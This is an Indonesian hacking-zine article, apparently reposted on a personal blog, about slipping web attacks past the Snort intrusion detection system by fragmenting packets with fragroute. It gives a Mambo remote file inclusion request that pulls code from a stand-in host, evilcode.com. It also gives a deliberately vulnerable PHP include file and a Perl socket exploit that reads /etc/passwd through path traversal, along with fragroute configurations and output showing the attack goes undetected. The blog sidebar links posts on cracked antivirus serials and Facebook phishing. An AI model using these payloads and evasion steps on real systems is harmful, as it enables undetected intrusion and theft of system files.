Terbitan Online Kecoak Elektronik
======================================
IP FRAGMENTATION FOR EVADING NIDS
======================================
Introduction
------------
IDS pada umumnya bekerja dilayer 2 OSI, ids menggunakan "raw traffic"
dari proses sniffing kemudian mencocokkannya dengan signature yang
dibuat oleh seorang admin. Jika ada kecocokan antara signature dengan raw tra
ffic hasil sniffing paket, ids memberikan alert/peringatan sebagai tanda
adanya proses intrusi ke sistem.
Seorang attacker dapat memfragmentasi paket IP/TCP menjadi bagian kecil
kemudian mengacak paket tersebut secara random untuk dikirim ke server
target, sedangkan server yang menjadi destination harus bertanggung jawab
dalam proses reassembly paket. Tentu saja dengan cara seperti ini attack
er dapat melewati monitoring ids karena tidak ada kecocokan pola packet
dengan signature ids.
Requirements
-------------
Pada tulisan ini penulis menggunakan dua buah mesin unix, mesin A adalah
mesin attacker beralamat 172.16.11.234 dilengkapi dengan "fragroute" dan
mesin T adalah mesin target yang beralamat 172.16.11.103 dilengkapi dengan
NIDS "snort" versi 2.6.0
IP Fragmentation Attack
------------------------
Penulis menggunakan sebuah contoh melewati ids yang memfilter attacking
terhadap hole mambo index.php remote file inclussion untuk menjelaskan
IP fragmentation attack. Berikut request HTTP untuk mengexploitasi hole
pada mambo website :
GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=
&mosConfig_absolute_path=http://evilcode.com/inject.txt?
(Advisory hole mambo di http://secunia.com/advisories/18935/)
Sebuah rule snort dibuat untuk mendeteksi adanya attacking menggunakan
hole mambo diatas. Berikut ini file rule.conf yang digunakan :
var HTTP_SERVER 172.16.11.103
alert tcp any any -> $HTTP_SERVER 80 (content: "index.php?_REQUEST=\
[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=\
http\://"; msg: "Attacking Website Using Remote File Inclussion in Mamboo";)
Jalankan snort dengan mode IDS untuk mendeteksi adanya malicious request
#snort -d -c rule.conf &
Saat seorang attacker merequest webserver dengan malicious request untuk meng
ekploitasi mambo, snort akan segera memberikan peringatan berikut:
#tail -f /var/log/snort/alert
[**] [1:0:0] Attacking Website Using Remote File Inclussion in Mamboo [**]
[Priority: 0]
08/11-13:31:41.222444 172.16.11.234:7205 -> 172.16.11.103:80
TCP TTL:64 TOS:0x10 ID:3625 IpLen:20 DgmLen:181 DF
***AP*** Seq: 0xAB4A2BB9 Ack: 0x9F5B3AE0 Win: 0x4000 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1886825653 577596608
Snort memberikan warning karena adanya kesamaan pola request HTTP dengan
rule yang digunakan oleh snort. Lalu bagaimana cara menghindari monitoring
snort?. Untuk menghindarinya seorang attacker dapat mengacak pola request
yang dikirim ke server. Salah satu cara yang bisa digunakan adalah dengan
memfragmentasi paket IP dan/atau TCP kemudian mengirimkannya secara acak
kepada target. Snort tidak mendeteksi adanya attacking karena tidak ada
kesamaan pola request dengan rule. Sistem target harus bertanggung jawab
dalam proses reassembly paket dan menjawab request attacker, sehingga attacker
dapat mengexploitasi target tanpa terdeteksi oleh snort. Penulis mengguna
kan fragroute untuk mengirimkan request HTTP terfragmentasi ke target dengan
rule frag.conf berikut :
ip_frag 8
order random
print
Rule diatas digunakan untuk memecah/memfragmentasi data dalam paket IP men
jadi 8 bytes dan mengirimkan fragmen - fragmen paket IP tersebut secara
acak kepada target. Untuk lebih jelasnya bagaimana membuat rule fragroute
silakan dibaca manualnya. (rule "print" tidak berhubungan dalam proses pe
ngiriman paket IP hanya untuk mencetak proses fragroute ke stdout). Jalan
kan fragroute di mesin attacker dengan target mesin 172.16.11.103.
#./fragroute -f frag.conf 172.16.11.103
Dengan menggunakan rule fragroute diatas paket data yang dikirim dalam frag
men - fragmen paket sebagai berikut : (Analisis paket menggunakan ethereal)
Original request
GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=
&mosConfig_absolute_path=http://evilcode.com/inject.txt?
Karena aturan di rule fragroute memfragmentasi paket menjadi 8 bytes request
menjadi :
GET /ind ex.php?_ REQUEST[ option]= com_cont ent&_REQ USET[Ite
-------- -------- -------- -------- -------- -------- --------
frag-1 frag-2 frag-3 frag-4 frag-5 frag-6 frag-7
mid]=1&G LOBALS=& mosConfi g_absolu te_path= http://e vilcode.
-------- -------- -------- -------- -------- -------- --------
frag-8 frag-9 frag-10 frag-11 frag-12 frag-13 frag-14
com/inje ct.txt?
-------- -------
frag-15 frag-16
Kemudian karena rule fragroute "order random", paket IP yang terfragmentasi
tadi dikirim secara acak sehingga berbeda sekali dengan request aslinya.Se
telah dirandom, berdasar analisis ethereal paket IP yang dikirim menjadi seba
gai berikut :
ex.php?_ te_path= mid]=1&G mosConfi ct.txt? UEST[Ite g_absolu
-------- -------- -------- -------- ------- -------- ---------
frag-1 frag-2 frag-3 frag-4 frag-5 frag-6 frag-7
option]= LOBALS=& http://e com_cont vilcode. ent&_REQ GET /ind
-------- -------- -------- -------- -------- -------- --------
frag-8 frag-9 frag-10 frag-11 frag-12 frag-13 frag-14
REQUEST[ com/inje
-------- --------
frag-15 frag-16
Okee... deghh kalo contoh diatas mungkin masih cukup mengambang, apalagi
Jika web attacking dilakukan lewat browser, dimungkinkan attacking ga
akan jalan jika paket IP di fragmentasi. Untuk menyederhanakan pemahaman
Web attacking dengan IP fragmentasi untuk melewati ids, berikut sebuah
PoC sederhana local file inclussion menggunakan socket perl :
TARGET
-------
TARGET WEB BER IP 172.16.11.234
Vulnerable File http://172.16.11.234/test/cmd.php
cmd.php seperti berikut :
<?php
ini_set('allow_url_fopen', 'on');
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
include "$cmd";
}else{
echo "cmd isn't set\n";
}
?>
Mal Request Untuk ngedapetin /etc/passwd
http://172.16.11.234/test/cmd.php?cmd=../../../../../../../../../../etc/passwd
Snort Rule :
include classification.config
preprocessor frag2
alert tcp any any -> $HTTP_SERVERS 80 (content: "/etc/passwd"; msg: "/etc/passwd inclussion";\
classtype:attempted-admin; flow:established,to_server; rev:8;)
ATTACKER
---------
ATTCKER IP 172.16.11.119
Socket exploits pake perl sebagai berikut xplo.pl
#!/usr/bin/perl -w
print "PoC Evading NIDS via socket\n";
if(!$ARGV[0])
{
print "Xplo Code by Ph03n1X || http://kecoak-elektronik.net/\n";
print "Gunakan : $0 <target>\n\n";
exit;
}
use IO::Socket;
$server = $ARGV[0];
$socket = new IO::Socket::INET(
Proto => "tcp",
PeerAddr => $server,
PeerPort => "80",
);
print $socket "GET /test/cmd.php?cmd=../../../../../../../../../../etc/passwd\r\nHTTP/1.1\r\nHost: $server\r\n\r\n\r\n";
while ( <$socket> ){
print;
}
close $socket;
A. Attacking tanpa fragmentasi IP
ATTACKER
---------
[novice@attacker]$ perl xplo.pl 172.16.11.234
PoC Evading NIDS via socket
root:*:0:0:Charlie &:/root:/bin/bash
daemon:*:1:1:The devil himself:/root:/sbin/nologin
operator:*:2:5:System &:/operator:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
smmsp:*:25:25:Sendmail Message Submission Program:/nonexistent:/sbin/nologin
popa3d:*:26:26:POP3 Server:/var/empty:/sbin/nologin
sshd:*:27:27:sshd privsep:/var/empty:/sbin/nologin
uucp:*:66:1:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucp/uucico
www:*:67:67:HTTP Server:/var/www:/sbin/nologin
named:*:70:70:BIND Name Service Daemon:/var/named:/sbin/nologin
proxy:*:71:71:Proxy Services:/nonexistent:/sbin/nologin
nobody:*:32767:32767:Unprivileged user:/nonexistent:/sbin/nologin
(edited n cencored by author)
[novice@attacker]$
TARGET
-------
# tail -f /var/log/snort/alert
[**] [1:0:8] /etc/passwd inclussion [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
11/05-16:32:31.870052 172.16.11.119:33529 -> 172.16.11.234:80
TCP TTL:64 TOS:0x0 ID:47591 IpLen:20 DgmLen:151 DF
***AP*** Seq: 0x8ECD818F Ack: 0xFC1975FA Win: 0x5B4 TcpLen: 32
TCP Options (3) => NOP NOP TS: 87046254 1680097719
B. Attacking Menggunakan Fragmentasi Request
Pada teknik berikut yang difragmentasi adalah paket TCP,
ATTACKER DI WINDOW 1
---------------------
[root@komputer19 fragroute-1.2]#cat f.conf
tcp_seg 8
order random
print
[root@komputer19 fragroute-1.2]# ./fragroute -f f.conf 172.16.11.234
fragroute: tcp_seg -> order -> print
Buka console baru
ATTACKER DI WINDOW 2
---------------------
[novice@komputer19 google]$ perl xplo.pl 172.16.11.234
PoC Evading NIDS via socket
root:*:0:0:Charlie &:/root:/bin/bash
daemon:*:1:1:The devil himself:/root:/sbin/nologin
operator:*:2:5:System &:/operator:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
smmsp:*:25:25:Sendmail Message Submission Program:/nonexistent:/sbin/nologin
popa3d:*:26:26:POP3 Server:/var/empty:/sbin/nologin
sshd:*:27:27:sshd privsep:/var/empty:/sbin/nologin
uucp:*:66:1:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucp/uucico
www:*:67:67:HTTP Server:/var/www:/sbin/nologin
named:*:70:70:BIND Name Service Daemon:/var/named:/sbin/nologin
proxy:*:71:71:Proxy Services:/nonexistent:/sbin/nologin
nobody:*:32767:32767:Unprivileged user:/nonexistent:/sbin/nologin
(edited n cencored by author)
[novice@attacker]$
TARGET
-------
# tail -f /var/log/snort/alert
(kosong tidak ada alert)
Nah..., dengan teknik mengacak paket, ids bisa dihindari dan masih ada
beberapa teknik lain lagi yang bisa digunakan untuk menghindari ids namun
itu tugas anda untuk mencari referensi jika anda memang serius belajar
kemanan sistem komputer.
Reference
----------
1. http://www.sans.org/resources/idfaq/fragroute.php
2. http://seclists.org/lists/security-basics/2005/Apr/0015.html
3. http://www.monkey.org/~dugsong/fragroute/fragroute.8.txt
4. http://www.securityfocus.com/infocus/1577
5. Snort Documentation di http://snort.org
Archive
-
▼
2012
(22)
-
▼
April
(17)
- Download NOD32 v 5.94+Seri gen
- Downloand Avira Premium 2012
- <!--[if gte mso 9]> Normal 0 f...
- Terbitan Online Kecoak Elektronik ================...
- <!--[if gte mso 9]> Normal 0 f...
- FOXIT Reader
- == Pengenalan Celah keamanan pada Aplikasi Web ber...
- Cara hack facebook dengan MD5 + sofwer
- Cara yang satu ini cukup sulit, susah dan perlu b...
- Cara hack facebook dengan kode phising
- CARA MENAIKAN TRAFFIC ALEXA RANK
- Avast Free Antivirus 6.0 | antivirus 2012 terbaru ...
- Isyrihar fungsi Python
- Menukar fail DOS ke unix
- Menciptakan laman kelab fb
- memasang rangkayan wayarles (wireless)
- Ubah wajah dengan perfect365
-
▼
April
(17)
Statistic User
About this blog
Categori
- FACEBOOK (3)
- HACKING (7)
- Informasi cara komputer (10)
Categori
- FACEBOOK (3)
- HACKING (7)
- Informasi cara komputer (10)
MENU
- FACEBOOK (3)
- HACKING (7)
- Informasi cara komputer (10)
PROFIL
- senandika
- BILA ADA YG BILANG SAYA ORNG GANTENG ITU FITNAH DAN BILA ADA ORNG YG BILANG SYA JELEK ITU MENCELA SAYA INI ORNG YG APA ADA NYA BUKAN YG ADA APANYA
TRANSLATE
Categori
- FACEBOOK (3)
- HACKING (7)
- Informasi cara komputer (10)
Label
- FACEBOOK (3)
- HACKING (7)
- Informasi cara komputer (10)
Jam Garuda Indonesia
TUKERAN LINK
Langganan:
Posting Komentar (Atom)
Pencarian
Follower
Label
- FACEBOOK (3)
- HACKING (7)
- Informasi cara komputer (10)
Tidak ada komentar:
Posting Komentar